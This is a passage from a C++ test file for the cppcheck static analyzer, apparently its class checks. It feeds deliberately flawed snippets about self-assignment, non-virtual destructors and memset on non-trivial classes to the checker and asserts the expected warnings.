free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if(true!=(this==&a))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"struct A {\\n\"\n \" char *s;\\n\"\n \" A& operator=(const B &b);\\n\"\n \"};\\n\"\n \"A& A::operator=(const B &b) {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" return *this;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void operatorEqToSelf6() {\n // ticket # 1550\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a)\\n\"\n \" {\\n\"\n \" delete [] data;\\n\"\n \" data = new char[strlen(a.data) + 1];\\n\"\n \" strcpy(data, a.data);\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"private:\\n\"\n \" char * data;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a);\\n\"\n \"private:\\n\"\n \" char * data;\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" delete [] data;\\n\"\n \" data = new char[strlen(a.data) + 1];\\n\"\n \" strcpy(data, a.data);\\n\"\n \" return *this;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:8:8]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a)\\n\"\n \" {\\n\"\n \" delete data;\\n\"\n \" data = new char;\\n\"\n \" *data = *a.data;\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"private:\\n\"\n \" char * data;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a);\\n\"\n \"private:\\n\"\n \" char * data;\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" delete data;\\n\"\n \" data = new char;\\n\"\n \" *data = *a.data;\\n\"\n \" return *this;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:8:8]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n }\n\n void operatorEqToSelf7() {\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & assign(const A & a)\\n\"\n \" {\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \" A & operator=(const A &a)\\n\"\n \" {\\n\"\n \" return assign(a);\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void operatorEqToSelf8() {\n checkOpertorEqToSelf(\n \"class FMat\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" FMat& copy(const FMat& rhs);\\n\"\n \" FMat& operator=(const FMat& in);\\n\"\n \"};\\n\"\n \"FMat& FMat::copy(const FMat& rhs)\\n\"\n \"{\\n\"\n \" return *this;\\n\"\n \"}\\n\"\n \"FMat& FMat::operator=(const FMat& in)\\n\"\n \"{\\n\"\n \" return copy(in);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void operatorEqToSelf9() {\n checkOpertorEqToSelf(\n \"class Foo\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" Foo& operator=(Foo* pOther);\\n\"\n \" Foo& operator=(Foo& other);\\n\"\n \"};\\n\"\n \"Foo& Foo::operator=(Foo* pOther)\\n\"\n \"{\\n\"\n \" return *this;\\n\"\n \"}\\n\"\n \"Foo& Foo::operator=(Foo& other)\\n\"\n \"{\\n\"\n \" return Foo::operator=(&other);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n struct CheckVirtualDestructorOptions\n {\n CheckVirtualDestructorOptions() = default;\n bool inconclusive = false;\n };\n\n // Check that base classes have virtual destructors\n#define checkVirtualDestructor(...) checkVirtualDestructor_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkVirtualDestructor_(const char* file, int line, const char (&code)[size], const CheckVirtualDestructorOptions& options = make_default_obj()) {\n const Settings s = settingsBuilder(settings0).certainty(Certainty::inconclusive, options.inconclusive).severity(Severity::warning).build();\n\n // Tokenize..\n SimpleTokenizer tokenizer(s, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n CheckClass checkClass(&tokenizer, &s, this);\n checkClass.virtualDestructor();\n }\n\n void virtualDestructor1() {\n // Base class not found\n\n checkVirtualDestructor(\"class Derived : public Base { };\\n\"\n \"Base *base = new Derived;\\n\"\n \"delete base;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkVirtualDestructor(\"class Derived : Base { };\\n\"\n \"Base *base = new Derived;\\n\"\n \"delete base;\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void virtualDestructor2() {\n // Base class doesn't have a destructor\n\n checkVirtualDestructor(\"class Base { };\\n\"\n \"class Derived : public Base { public: ~Derived() { (void)11; } };\"\n \"Base *base = new Derived;\\n\"\n \"delete base;\");\n ASSERT_EQUALS(\"[test.cpp:1:1]: (error) Class 'Base' which is inherited by class 'Derived' does not have a virtual destructor. [virtualDestructor]\\n\", errout_str());\n\n checkVirtualDestructor(\"class Base { };\\n\"\n \"class Derived : protected Base { public: ~Derived() { (void)11; } };\"\n \"Base *base = new Derived;\\n\"\n \"delete base;\");\n ASSERT_EQUALS(\"[test.cpp:1:1]: (error) Class 'Base' which is inherited by class 'Derived' does not have a virtual destructor. [virtualDestructor]\\n\", errout_str());\n\n checkVirtualDestructor(\"class Base { };\\n\"\n \"class Derived : private Base { public: ~Derived() { (void)11; } };\"\n \"Base *base = new Derived;\\n\"\n \"delete base;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkVirtualDestructor(\"class Base { };\\n\"\n \"class Derived : Base { public: ~Derived() { (void)11; } };\"\n \"Base *base = new Derived;\\n\"\n \"delete base;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9104\n checkVirtualDestructor(\"struct A\\n\"\n \"{\\n\"\n \" A() { cout << \\\"A is constructing\\\\n\\\"; }\\n\"\n \" ~A() { cout << \\\"A is destructing\\\\n\\\"; }\\n\"\n \"};\\n\"\n \" \\n\"\n \"struct Base {};\\n\"\n \" \\n\"\n \"struct Derived : Base\\n\"\n \"{\\n\"\n \" A a;\\n\"\n \"};\\n\"\n \" \\n\"\n \"int main(void)\\n\"\n \"{\\n\"\n \" Base* p = new Derived();\\n\"\n \" delete p;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:1]: (error) Class 'Base' which is inherited by class 'Derived' does not have a virtual destructor. [virtualDestructor]\\n\", errout_str());\n\n checkVirtualDestructor(\"using namespace std;\\n\"\n \"struct A\\n\"\n \"{\\n\"\n \" A() { cout << \\\"A is constructing\\\\n\\\"; }\\n\"\n \" ~A() { cout << \\\"A is destructing\\\\n\\\"; }\\n\"\n \"};\\n\"\n \" \\n\"\n \"struct Base {};\\n\"\n \" \\n\"\n \"struct Derived : Base\\n\"\n \"{\\n\"\n \" A a;\\n\"\n \"};\\n\"\n \" \\n\"\n \"int main(void)\\n\"\n \"{\\n\"\n \" Base* p = new Derived();\\n\"\n \" delete p;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:1]: (error) Class 'Base' which is inherited by class 'Derived' does not have a virtual destructor. [virtualDestructor]\\n\", errout_str());\n }\n\n void virtualDestructor3() {\n // Base class has a destructor, but it's not virtual\n\n checkVirtualDestructor(\"class Base { public: ~Base(); };\\n\"\n \"class Derived : public Base { public: ~Derived() { (void)11; } };\"\n \"Base *base = new Derived;\\n\"\n \"delete base;\");\n ASSERT_EQUALS(\"[test.cpp:1:23]: (error) Class 'Base' which is inherited by class 'Derived' does not have a virtual destructor. [virtualDestructor]\\n\", errout_str());\n\n checkVirtualDestructor(\"class Base { public: ~Base(); };\\n\"\n \"class Derived : protected Base { public: ~Derived() { (void)11; } };\"\n \"Base *base = new Derived;\\n\"\n \"delete base;\");\n ASSERT_EQUALS(\"[test.cpp:1:23]: (error) Class 'Base' which is inherited by class 'Derived' does not have a virtual destructor. [virtualDestructor]\\n\", errout_str());\n\n checkVirtualDestructor(\"class Base { public: ~Base(); };\\n\"\n \"class Derived : private Fred, public Base { public: ~Derived() { (void)11; } };\"\n \"Base *base = new Derived;\\n\"\n \"delete base;\");\n ASSERT_EQUALS(\"[test.cpp:1:23]: (error) Class 'Base' which is inherited by class 'Derived' does not have a virtual destructor. [virtualDestructor]\\n\", errout_str());\n }\n\n void virtualDestructor4() {\n // Derived class doesn't have a destructor => undefined behaviour according to paragraph 3 in [expr.delete]\n\n checkVirtualDestructor(\"class Base { public: ~Base(); };\\n\"\n \"class Derived : public Base { };\"\n \"Base *base = new Derived;\\n\"\n \"delete base;\");\n ASSERT_EQUALS(\"[test.cpp:1:23]: (error) Class 'Base' which is inherited by class 'Derived' does not have a virtual destructor. [virtualDestructor]\\n\", errout_str());\n\n checkVirtualDestructor(\"class Base { public: ~Base(); };\\n\"\n \"class Derived : private Fred, public Base { };\"\n \"Base *base = new Derived;\\n\"\n \"delete base;\");\n ASSERT_EQUALS(\"[test.cpp:1:23]: (error) Class 'Base' which is inherited by class 'Derived' does not have a virtual destructor. [virtualDestructor]\\n\", errout_str());\n }\n\n void virtualDestructor5() {\n // Derived class has empty destructor => undefined behaviour according to paragraph 3 in [expr.delete]\n\n checkVirtualDestructor(\"class Base { public: ~Base(); };\\n\"\n \"class Derived : public Base { public: ~Derived() {} };\"\n \"Base *base = new Derived;\\n\"\n \"delete base;\");\n ASSERT_EQUALS(\"[test.cpp:1:23]: (error) Class 'Base' which is inherited by class 'Derived' does not have a virtual destructor. [virtualDestructor]\\n\", errout_str());\n\n checkVirtualDestructor(\"class Base { public: ~Base(); };\\n\"\n \"class Derived : public Base { public: ~Derived(); }; Derived::~Derived() {}\"\n \"Base *base = new Derived;\\n\"\n \"delete base;\");\n ASSERT_EQUALS(\"[test.cpp:1:23]: (error) Class 'Base' which is inherited by class 'Derived' does not have a virtual destructor. [virtualDestructor]\\n\", errout_str());\n }\n\n void virtualDestructor6() {\n // Only report error if base class pointer is deleted that\n // points at derived class\n\n checkVirtualDestructor(\"class Base { public: ~Base(); };\\n\"\n \"class Derived : public Base { public: ~Derived() { (void)11; } };\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void virtualDestructorProtected() {\n // Base class has protected destructor, it makes Base *p = new Derived(); fail\n // during compilation time, so error is not possible. => no error\n checkVirtualDestructor(\"class A\\n\"\n \"{\\n\"\n \"protected:\\n\"\n \" ~A() { }\\n\"\n \"};\\n\"\n \"\\n\"\n \"class B : public A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" ~B() { int a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void virtualDestructorInherited() {\n // class A inherits virtual destructor from class Base -> no error\n checkVirtualDestructor(\"class Base\\n\"\n \"{\\n\"\n \"public:\\n\"\n \"virtual ~Base() {}\\n\"\n \"};\\n\"\n \"class A : private Base\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" ~A() { }\\n\"\n \"};\\n\"\n \"\\n\"\n \"class B : public A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" ~B() { int a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // class A inherits virtual destructor from struct Base -> no error\n // also notice that public is not given, but destructor is public, because\n // we are using struct instead of class\n checkVirtualDestructor(\"struct Base\\n\"\n \"{\\n\"\n \"virtual ~Base() {}\\n\"\n \"};\\n\"\n \"class A : public Base\\n\"\n \"{\\n\"\n \"};\\n\"\n \"\\n\"\n \"class B : public A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" ~B() { int a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Unknown Base class -> it could have virtual destructor, so ignore\n checkVirtualDestructor(\"class A : private Base\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" ~A() { }\\n\"\n \"};\\n\"\n \"\\n\"\n \"class B : public A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" ~B() { int a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Virtual destructor is inherited -> no error\n checkVirtualDestructor(\"class Base2\\n\"\n \"{\\n\"\n \"virtual ~Base2() {}\\n\"\n \"};\\n\"\n \"class Base : public Base2\\n\"\n \"{\\n\"\n \"};\\n\"\n \"class A : private Base\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" ~A() { }\\n\"\n \"};\\n\"\n \"\\n\"\n \"class B : public A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" ~B() { int a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // class A doesn't inherit virtual destructor from class Base -> error\n checkVirtualDestructor(\"class Base\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" ~Base() {}\\n\"\n \"};\\n\"\n \"class A : private Base\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" ~A() { }\\n\"\n \"};\\n\"\n \"\\n\"\n \"class B : public A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" ~B() { int a; }\\n\"\n \"};\");\n TODO_ASSERT_EQUALS(\"[test.cpp:7]: (error) Class 'Base' which is inherited by class 'B' does not have a virtual destructor.\\n\",\n \"\", errout_str());\n }\n\n void virtualDestructorTemplate() {\n checkVirtualDestructor(\"template class A\\n\"\n \"{\\n\"\n \" public:\\n\"\n \" virtual ~A(){}\\n\"\n \"};\\n\"\n \"template class AA\\n\"\n \"{\\n\"\n \" public:\\n\"\n \" ~AA(){}\\n\"\n \"};\\n\"\n \"class B : public A, public AA\\n\"\n \"{\\n\"\n \" public:\\n\"\n \" ~B(){int a;}\\n\"\n \"};\\n\"\n \"\\n\"\n \"AA *p = new B; delete p;\");\n ASSERT_EQUALS(\"[test.cpp:9:3]: (error) Class 'AA < double >' which is inherited by class 'B' does not have a virtual destructor. [virtualDestructor]\\n\", errout_str());\n }\n\n void virtualDestructorInconclusive() {\n checkVirtualDestructor(\"class Base {\\n\"\n \"public:\\n\"\n \" ~Base(){}\\n\"\n \" virtual void foo(){}\\n\"\n \"};\\n\", dinit(CheckVirtualDestructorOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:6]: (warning, inconclusive) Class 'Base' which has virtual members does not have a virtual destructor. [virtualDestructor]\\n\", errout_str());\n\n checkVirtualDestructor(\"class Base {\\n\"\n \"public:\\n\"\n \" ~Base(){}\\n\"\n \" virtual void foo(){}\\n\"\n \"};\\n\"\n \"class Derived : public Base {\\n\"\n \"public:\\n\"\n \" ~Derived() { bar(); }\\n\"\n \"};\\n\"\n \"void foo() {\\n\"\n \" Base * base = new Derived();\\n\"\n \" delete base;\\n\"\n \"}\\n\", dinit(CheckVirtualDestructorOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:6]: (error) Class 'Base' which is inherited by class 'Derived' does not have a virtual destructor. [virtualDestructor]\\n\", errout_str());\n\n // class Base destructor is not virtual but protected -> no error\n checkVirtualDestructor(\"class Base {\\n\"\n \"public:\\n\"\n \" virtual void foo(){}\\n\"\n \"protected:\\n\"\n \" ~Base(){}\\n\"\n \"};\\n\", dinit(CheckVirtualDestructorOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n checkVirtualDestructor(\"class C {\\n\"\n \"private:\\n\"\n \" C();\\n\"\n \" virtual ~C();\\n\"\n \"};\\n\", dinit(CheckVirtualDestructorOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n\n#define checkNoMemset(...) checkNoMemset_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkNoMemset_(const char* file, int line, const char (&code)[size]) {\n const Settings settings = settingsBuilder().severity(Severity::warning).severity(Severity::portability).library(\"std.cfg\").library(\"posix.cfg\").build();\n checkNoMemset_(file, line, code, settings);\n }\n\n template\n void checkNoMemset_(const char* file, int line, const char (&code)[size], const Settings &settings) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n CheckClass checkClass(&tokenizer, &settings, this);\n checkClass.checkMemset();\n }\n\n void memsetOnClass() {\n checkNoMemset(\"class Fred\\n\"\n \"{\\n\"\n \"};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" Fred fred;\\n\"\n \" memset(&fred, 0, sizeof(Fred));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"class Fred\\n\"\n \"{\\n\"\n \" static std::string b;\\n\"\n \"};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" Fred fred;\\n\"\n \" memset(&fred, 0, sizeof(Fred));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"class Fred\\n\"\n \"{\\n\"\n \" std::string * b;\\n\"\n \"};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" Fred fred;\\n\"\n \" memset(&fred, 0, sizeof(Fred));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"class Fred\\n\"\n \"{\\n\"\n \" std::string b;\\n\"\n \"};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" Fred fred;\\n\"\n \" memset(&fred, 0, sizeof(Fred));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:5]: (error) Using 'memset' on class that contains a 'std::string'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"class Fred\\n\"\n \"{\\n\"\n \" mutable std::string b;\\n\"\n \"};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" Fred fred;\\n\"\n \" memset(&fred, 0, sizeof(Fred));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:5]: (error) Using 'memset' on class that contains a 'std::string'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"class Fred {\\n\"\n \" std::string b;\\n\"\n \" void f();\\n\"\n \"};\\n\"\n \"void Fred::f() {\\n\"\n \" memset(this, 0, sizeof(*this));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (error) Using 'memset' on class that contains a 'std::string'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"class Fred\\n\"\n \"{\\n\"\n \"};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" Fred fred;\\n\"\n \" memset(&fred, 0, sizeof(fred));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"class Fred\\n\"\n \"{\\n\"\n \" std::string s;\\n\"\n \"};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" Fred fred;\\n\"\n \" memset(&fred, 0, sizeof(fred));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:5]: (error) Using 'memset' on class that contains a 'std::string'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"class Fred\\n\"\n \"{\\n\"\n \" std::string s;\\n\"\n \"};\\n\"\n \"class Pebbles: public Fred {};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" Pebbles pebbles;\\n\"\n \" memset(&pebbles, 0, sizeof(pebbles));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:9:5]: (error) Using 'memset' on class that contains a 'std::string'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"class Fred\\n\"\n \"{\\n\"\n \" virtual ~Fred();\\n\"\n \"};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" Fred fred;\\n\"\n \" memset(&fred, 0, sizeof(fred));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:5]: (error) Using 'memset' on class that contains a virtual function. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"class Fred\\n\"\n \"{\\n\"\n \" virtual ~Fred();\\n\"\n \"};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" static Fred fred;\\n\"\n \" memset(&fred, 0, sizeof(fred));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:5]: (error) Using 'memset' on class that contains a virtual function. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"class Fred\\n\"\n \"{\\n\"\n \"};\\n\"\n \"class Wilma\\n\"\n \"{\\n\"\n \" virtual ~Wilma();\\n\"\n \"};\\n\"\n \"class Pebbles: public Fred, Wilma {};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" Pebbles pebbles;\\n\"\n \" memset(&pebbles, 0, sizeof(pebbles));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:12:5]: (error) Using 'memset' on class that contains a virtual function. [memsetClass]\\n\", errout_str());\n\n // Fred not defined in scope\n checkNoMemset(\"namespace n1 {\\n\"\n \" class Fred\\n\"\n \" {\\n\"\n \" std::string b;\\n\"\n \" };\\n\"\n \"}\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" Fred fred;\\n\"\n \" memset(&fred, 0, sizeof(Fred));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Fred with namespace qualifier\n checkNoMemset(\"namespace n1 {\\n\"\n \" class Fred\\n\"\n \" {\\n\"\n \" std::string b;\\n\"\n \" };\\n\"\n \"}\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" n1::Fred fred;\\n\"\n \" memset(&fred, 0, sizeof(n1::Fred));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:10:5]: (error) Using 'memset' on class that contains a 'std::string'. [memsetClass]\\n\", errout_str());\n\n // Fred with namespace qualifier\n checkNoMemset(\"namespace n1 {\\n\"\n \" class Fred\\n\"\n \" {\\n\"\n \" std::string b;\\n\"\n \" };\\n\"\n \"}\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" n1::Fred fred;\\n\"\n \" memset(&fred, 0, sizeof(fred));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:10:5]: (error) Using 'memset' on class that contains a 'std::string'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"class A {\\n\"\n \" virtual ~A() { }\\n\"\n \" std::string s;\\n\"\n \"};\\n\"\n \"int f() {\\n\"\n \" const int N = 10;\\n\"\n \" A** arr = new A*[N];\\n\"\n \" memset(arr, 0, N * sizeof(A*));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"class A {\\n\" // #5116 - nested class data is mixed in the SymbolDatabase\n \" std::string s;\\n\"\n \" struct B { int x; };\\n\"\n \"};\\n\"\n \"void f(A::B *b) {\\n\"\n \" memset(b,0,4);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #4461 Warn about memset/memcpy on class with references as members\n checkNoMemset(\"class A {\\n\"\n \" std::string &s;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(a));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:3]: (error) Using 'memset' on class that contains a reference. [memsetClassReference]\\n\", errout_str());\n checkNoMemset(\"class A {\\n\"\n \" const B&b;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(a));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:3]: (error) Using 'memset' on class that contains a reference. [memsetClassReference]\\n\", errout_str());\n\n // #7456\n checkNoMemset(\"struct A {\\n\"\n \" A() {}\\n\"\n \" virtual ~A() {}\\n\"\n \"};\\n\"\n \"struct B {\\n\"\n \" A* arr[4];\\n\"\n \"};\\n\"\n \"void func() {\\n\"\n \" B b[4];\\n\"\n \" memset(b, 0, sizeof(b));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8619\n checkNoMemset(\"struct S { std::vector m; };\\n\"\n \"void f() {\\n\"\n \" std::vector v(5);\\n\"\n \" memset(&v[0], 0, sizeof(S) * v.size());\\n\"\n \" memset(&v[0], 0, v.size() * sizeof(S));\\n\"\n \" memset(&v[0], 0, 5 * sizeof(S));\\n\"\n \" memset(&v[0], 0, sizeof(S) * 5);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (error) Using 'memset' on struct that contains a 'std::vector'. [memsetClass]\\n\"\n \"[test.cpp:5:5]: (error) Using 'memset' on struct that contains a 'std::vector'. [memsetClass]\\n\"\n \"[test.cpp:6:5]: (error) Using 'memset' on struct that contains a 'std::vector'. [memsetClass]\\n\"\n \"[test.cpp:7:5]: (error) Using 'memset' on struct that contains a 'std::vector'. [memsetClass]\\n\",\n errout_str());\n\n // #1655\n const Settings s = settingsBuilder().library(\"std.cfg\").build();\n checkNoMemset(\"void f() {\\n\"\n \" char c[] = \\\"abc\\\";\\n\"\n \" std::string s;\\n\"\n \" memcpy(&s, c, strlen(c) + 1);\\n\"\n \"}\\n\", s);\n ASSERT_EQUALS(\"[test.cpp:4:5]: (error) Using 'memcpy' on std::string. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"template \\n\"\n \" void f(T* dst, const T* src, int N) {\\n\"\n \" std::memcpy(dst, src, N * sizeof(T));\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" typedef std::vector* P;\\n\"\n \" P Src[2]{};\\n\"\n \" P Dst[2];\\n\"\n \" f

(Dst, Src, 2);\\n\"\n \"}\\n\", s);\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"void f() {\\n\"\n \" std::array a;\\n\"\n \" std::memset(&a, 0, 4);\\n\"\n \"}\\n\", s);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void memsetOnInvalid() { // Ticket #5425\n checkNoMemset(\"union ASFStreamHeader {\\n\"\n \" struct AVMPACKED {\\n\"\n \" union {\\n\"\n \" struct AVMPACKED {\\n\"\n \" int width;\\n\"\n \" } vid;\\n\"\n \" };\\n\"\n \" } hdr;\\n\"\n \"};\"\n \"void parseHeader() {\\n\"\n \" ASFStreamHeader strhdr;\\n\"\n \" memset(&strhdr, 0, sizeof(strhdr));\\n\"\n \"}\");\n }\n\n void memsetOnStruct() {\n checkNoMemset(\"struct A\\n\"\n \"{\\n\"\n \"};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"struct A\\n\"\n \"{\\n\"\n \"};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" struct A a;\\n\"\n \" memset(&a, 0, sizeof(struct A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"struct A\\n\"\n \"{\\n\"\n \"};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" struct A a;\\n\"\n \" memset(&a, 0, sizeof(A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"void f()\\n\"\n \"{\\n\"\n \" struct sockaddr_in6 fail;\\n\"\n \" memset(&fail, 0, sizeof(struct sockaddr_in6));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"struct A\\n\"\n \"{\\n\"\n \" void g( struct sockaddr_in6& a);\\n\"\n \"private:\\n\"\n \" std::string b;\\n\"\n \"};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" struct A fail;\\n\"\n \" memset(&fail, 0, sizeof(struct A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:10:2]: (error) Using 'memset' on struct that contains a 'std::string'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"struct Fred\\n\"\n \"{\\n\"\n \" std::string s;\\n\"\n \"};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" Fred fred;\\n\"\n \" memset(&fred, 0, sizeof(fred));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:5]: (error) Using 'memset' on struct that contains a 'std::string'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"struct Stringy {\\n\"\n \" std::string inner;\\n\"\n \"};\\n\"\n \"struct Foo {\\n\"\n \" Stringy s;\\n\"\n \"};\\n\"\n \"int main() {\\n\"\n \" Foo foo;\\n\"\n \" memset(&foo, 0, sizeof(Foo));\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"[test.cpp:9:5]: (error) Using 'memset' on struct that contains a 'std::string'. [memsetClass]\\n\", errout_str());\n }\n\n void memsetVector() {\n checkNoMemset(\"class A\\n\"\n \"{ std::vector ints; };\\n\"\n \"\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, 